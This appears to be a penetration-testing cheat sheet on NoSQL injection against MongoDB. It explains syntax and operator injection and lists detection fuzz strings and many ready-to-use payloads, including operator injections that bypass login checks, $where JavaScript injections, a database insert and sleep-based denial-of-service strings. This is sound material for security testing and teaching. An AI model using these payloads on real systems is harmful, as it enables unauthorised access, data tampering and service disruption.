NoSQL injection is a vulnerability where an attacker is able to interfere with the queries that an application makes to a NoSQL database. It may enable an attacker to bypass authentication or protection mechanisms, extract or edit data, cause a denial of service, and execute code on the server. There are two types of NoSQL injections: syntax injection and operator injection.
- Testing for NoSQL Injection (OWASP)
- NoSQL injection (PortSwigger)
- SecLists
- PayloadAllTheThings
NoSQL databases use a wide range of query languages instead of standard SQL.
See MongoDB.
NoSQL Syntax Injection
Occurs when you can break the NoSQL query syntax, enabling you to inject your own payload (similar to SQL injection). However NoSQL databases use a range of query languages, types of query syntax, and different data structures.
Detection
If you know the API language of the target database, use special characters and fuzz strings that are relevant to that language. Otherwise, use a variety of fuzz strings to target multiple API languages.
Try inserting a quote. Try escaping the quote to see if the error is fixed.
x=whatever'
x=whatever\'
MongoDB & JavaScript
Fuzz the parameter:
' " \ ; { }
'"`{
;$Foo}
$Foo \xYZ
URL-encoded
x=whatever'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
Conditional behavior
x=<@urlencode>whatever' && 0 && 'x<@/urlencode>
x=<@urlencode>whatever' && 1 && 'x<@/urlencode>
x=whatever'||1||'
JSON format
{"x": "'\"`{\r;$Foo}\n$Foo \\xYZ\u0000"}
NoSQL Operator Injection
Occurs when you can use NoSQL query operators to manipulate queries.
Detection
Submit different operators into a range of user inputs, then review the responses for error messages or other changes. Test each input with a range of operators.
MongoDB & JavaScript
See Query and Projection Operators (MongoDB).
- $where – Matches documents that satisfy a JavaScript expression.
- $ne – Matches all values that are not equal to a specified value.
- $in – Matches all of the values specified in an array.
- $regex – Selects documents where values match a specified regular expression.
DATA (URL-encoded) – Content-Type: application/x-www-form-urlencoded
If it does not work, convert the request method from GET to POST. Change the Content-Type header to application/json. Add JSON to the message body. Inject query operators in the JSON.
username[$ne]=invalid&password[$ne]=invalid
username[$regex]=admin.*&password[$ne]=null
JSON format – Content-Type: application/json
{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
{"username":{"$regex":"admin.*"},"password":{"$ne": null}}
Payloads
in DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{$nin: [""]}}
'
"
\
/
//
;
{
}
: